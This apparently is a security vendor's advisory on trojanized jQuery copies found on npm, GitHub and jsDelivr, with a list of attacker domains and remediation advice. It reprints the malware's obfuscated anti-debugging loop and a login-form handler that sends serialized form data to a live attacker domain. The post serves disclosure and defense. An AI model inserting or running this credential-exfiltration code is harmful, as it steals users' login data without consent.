Attacks have been found in trojanized jQuery on GitHub, npm and jsDelivr in a new web supply chain attack. Each package had a copy of jQuery with one small change: the ‘end’ function. This is part of the jQuery prototype, and was modified to include additional malicious code.
In the malicious script, the attacker sends a non-blocking GET request using ‘$.ajax’ to other domains. The request URL includes a query parameter, which varies between different packages. As a result, whenever the end function is invoked, all form data on the page is exfiltrated.
This was first discovered on npm, then later on multiple GitHub repositories as well as a CDN-hosted resource on jsDelivr.
In our campaign titled supply chain risk doesn’t end at npm, we stress that the delivery method of a script like this allows for dynamic behavior. This makes checking sources or relying on safe reliable delivery methods alone a risky game as illustrated by this attack. This often tricks firewalls and allows malicious code to slip through and attackers are well aware.
What we found
We pulled the malicious code from the official jsDelivr CDN, which gets 37,000 hits per month. All of those include the altered scripts and are unsafe.
This is part of the malicious code we found and what it does:
This part of the script serializes form data, converts it to a hexadecimal string, and sends it to a remote server using a GET request, potentially exposing sensitive user information without consent. The use of $.ajax with an async function makes this data transfer stealthy, indicative of malicious activities aimed at surreptitiously harvesting data.
1. Anti-Debugging Mechanism:
-
Interval Function: A function ‘_0x38c4a6’ is executed every 4 seconds using ‘setInterval’. This function aims to detect and disrupt debugging attempts by leveraging JavaScript's ‘debugger’ statement.
-
Nested Function: Within ‘_0x38c4a6’, the nested function ‘_0x386016’ contains logic to repeatedly call ‘debugger’ based on certain conditions, making it difficult for someone to debug the code using standard tools.
(function () {
setInterval(function () {
function antiDebugging(_0x44dcc7) {
if (typeof _0x44dcc7 === "string") {
return function () {}.constructor("while (true) {}").apply("counter");
} else {
if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
}
antiDebugging(++_0x44dcc7);
}
try {
antiDebugging(0);
} catch (e) {}
}, 4000);
})();
2. Form Submission Handler:
-
Form Selection: The script selects the form with the class ‘.login-form’.
-
Submit Event: An event listener is attached to the form's submit event.
-
AJAX Request: When the form is submitted, an AJAX POST request is sent to ‘https://koneksi.barux.my[.]id/index.php’ with the serialized form data.
$(".login-form").submit(function () {
var form = $(".login-form");
$.ajax({
url: "https://koneksi.barux.my.id/index.php",
type: "POST",
data: form.serialize(),
success: function () {
return true;
},
error: function () {
return true;
}
});
});
This together suggests that the script may be used to prevent tampering or inspection (via the anti-debugging logic) while silently sending data from a form to a remote server. This data can be user credentials or other types of information.
As is typical with these attacks, it’s hard to know how many people have fallen victim. The delivery method of these scripts allows for dynamic behavior. Any user can get a different delivery each time, especially when a script has been compromised. So it’s either completely random, or highly targeted and set up this way to remain undetected for a long time.
In research posted by Phylum, we know that the following domains were used in this attack:
-
https://paneljs[.]hanznesia[.]my[.]id
-
https://api-web-vrip[.]hanznesia[.]my[.]id
-
https://log[.]api-system[.]engineer
-
https://irisainginbos[.]icikipoxx[.]pw
-
https://patipride[.]icikipoxx[.]pw
-
https://apii[.]fukaes[.]ninja
-
https://pukil[.]dannew[.]biz[.]id
-
https://api[.]jstyy[.]xyz
-
https://qxue[.]biz[.]id
-
https://api[.]newrxl[.]online
-
https://api[.]iimg[.]my[.]id
-
https://apiweb[.]eventtss[.]my[.]id
-
https://pokemon[.]denii[.]biz[.]id
-
https://apii[.]codatuys[.]cab
-
https://api[.]codatuys[.]biz[.]id
-
https://saystem[.]ditzzultimate[.]xyz
-
https://paneljs[.]dimashost[.]xyz
-
https://cssimage[.]dimashost[.]xyz
-
https://ajax[.]failexpect[.]biz[.]id
-
https://ns[.]api-system[.]engineer
-
https://log[.]systems-alexhost[.]xyz
-
https://api-system[.]engineer
-
https://systems-alexhost[.]xyz
-
https://panel[.]api-bo[.]my[.]id
-
https://project[.]systemgoods[.]me
-
https://danu[.]eventtss[.]my[.]id
-
https://panel-host[.]clannesia[.]com
-
http://apii-pandawara[.]ganznesia[.]my[.]id
-
https://system-alexhosting[.]biz[.]id
-
https://nd[.]api-system[.]engineer
-
https://anti-spam[.]truex[.]biz[.]id
-
https://panel-host[.]dmdpanel[.]my[.]id
-
https://api-bo[.]my[.]id
-
https://pusat-js[.]truex[.]biz[.]id
What can you do
The time for preventative measures has passed. Immediately check your code for reference to the affected repositories and domains. If found, remove them.
Attacks like this used to be impossible to detect since developers who rely on third-party sources aren’t always privy to changes in the scripts themselves. Older detection methods don’t take into account these changes and have no way of distinguishing them.
By using c/side’s free tier, you are alerted when a change is made inside the script itself. We block anything malicious autonomously, and you get a full overview of the deobfuscated scripts to understand what they are serving.